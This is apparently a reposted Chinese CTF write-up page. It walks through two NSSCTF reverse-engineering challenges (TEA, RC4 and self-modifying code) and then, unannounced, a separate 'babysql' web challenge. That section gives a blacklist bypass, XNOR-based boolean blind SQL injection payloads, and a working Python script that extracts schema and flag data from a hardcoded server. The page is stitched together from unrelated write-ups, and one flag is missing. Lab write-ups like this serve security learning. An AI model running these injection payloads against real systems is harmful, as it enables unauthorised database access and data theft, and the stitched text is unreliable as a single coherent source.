NSSCTF逆向2023题目《enc》《easyenc》
Posted Corax0o0
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSSCTF逆向2023题目《enc》《easyenc》相关的知识,希望对你有一定的参考价值。
总览
enc tea rc4 smc加密
easyenc int逐位转char
题目enc
解法
感觉还是挺难得一个题目
32位无壳 直接扔进ida
直接找关键字符串
首先注意到的是right,但是很奇怪没有函数引用,
先不急 先看下面的那个函数 进去
找到main函数了
看起来是一个很简单的程序
先来看前半部分
把我们输入的v11,分别给了v10和v7
然后有一个函数对v7进行操作
详细的操作如上图,很明显是一个tea,ok,退出来
下半部分有两个函数有看点的,第一个传入了一个v10,详细跟踪一下
到这里还没完,继续下去
一个加密方法。而上面是一个典型的smc局部加密代码,看看另外一个函数
ida报错了,点进去地址看看
显然就是被加密的部分了,不着急解密看看
这个解密代码之前有做过,拿来用吧。
变成现在这样,还没结束,先按c对他们重新分析一下
已经ok了,但是还没有承认这个函数,通过edit function create function来创建函数
f5
有了,是一个rc4。
关于详细的脚本我没写,看了官方的wp https://www.cnblogs.com/Tree-24/p/17346919.html#enc
flag NSSCTFy0u_ar3_rc4_t3a_smc_m4ster!!
题目easyenc
解法
感觉这题也是挺抽象的。
无壳64位,丢进ida
进入后直接反编译
看上去还是蛮简单的,来分析一下
一些赋值,框中内容是一个输入函数
v4这里是用一个do while然后对输入字符串的长度进行一个查询。
这里是关键了,v4应该是41,也就是输入的应该是41位
这两条是最抽象的。
实际上是逐位读v10,而v10是一个4个字节的int,这里操作实际上是取1个字节 等于是取一个字符。
然后这个字符和v8的一位比较,对的话就正确。
而v8就在上面。
所以逆向思路就是通过这个v8来拼。
我自己做的时候是手动的,极其麻烦,这里贴一下别的师傅的写法
https://blog.csdn.net/qq_46266259/article/details/128642972
flag
[NSSCTF 2022 Spring Recruit]babysql
https://www.ctfer.vip/problem/2075
根据输入框的提示传入tarnish
返回如下
简单测试下发现黑名单:hacker!!black_list is /if|and|\\s|#|--/i
把注释符号都过滤了,可以使用闭合的方法构造注入,空格使用/**/
绕过
这里采用同或(!=!)
来构造注入
同或 !=! 的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
mysql> select 1 !=! 0 !=! 1;
+---------------+
| 1 !=! 0 !=! 1 |
+---------------+
| 0 |
+---------------+
1 row in set (0.01 sec)
mysql> select 1 !=! 1 !=! 1;
+---------------+
| 1 !=! 1 !=! 1 |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
mysql> select * from users where uid=1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
| 1 | admin | admin |
+-----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where uid=1 !=! 0 !=! 1;
+-----+---------------+----------------------------------+
| uid | username | password |
+-----+---------------+----------------------------------+
| 2 | mochu7 | mochu7 |
| 3 | flag | flagThe_Sql_F14g_0f_mochu7 |
| 0 | Administrator | 874a0300d72a3676c4413ce52454eff7 |
| 4 | testuser | 123456 |
+-----+---------------+----------------------------------+
4 rows in set (0.00 sec)
mysql> select * from users where uid=1 !=! 1 !=! 1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
| 1 | admin | admin |
+-----+----------+----------+
1 row in set (0.00 sec)
username=tarnish'!=!(1)!=!'1 (True !=! True !=! True) == True
username=tarnish'!=!(0)!=!'1 (True !=! False !=! True) == False
布尔盲注,脚本跑
import requests
asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`|~'
burp0_url = "http://1.14.71.254:28085/"
burp0_headers = "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded"
content = ''
for i in range(1, 100):
for s in asc_str:
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),,1))=)/**/!=!/**/'1".format(i, ord(s))
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test'),,1))=)/**/!=!/**/'1".format(i, ord(s))
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),,1))=)/**/!=!/**/'1".format(i, ord(s))
payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),,1))=)/**/!=!/**/'1".format(i, ord(s))
burp0_data = "username": payload
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if 'string(39)' in resp.text:
content += s
print(content)
最笨的办法,比较慢,需要多等一会,追求效率可以使用二分法。
以上是关于NSSCTF逆向2023题目《enc》《easyenc》的主要内容,如果未能解决你的问题,请参考以下文章
NSSCTF逆向2023题目《程序和人有一个能跑就行了》《encode》
NSSCTF逆向2023题目《easy_re》《世界上最棒的程序员》《Check_Your_Luck》《Tea》
[NSSCTF 2022 Spring Recruit]babysql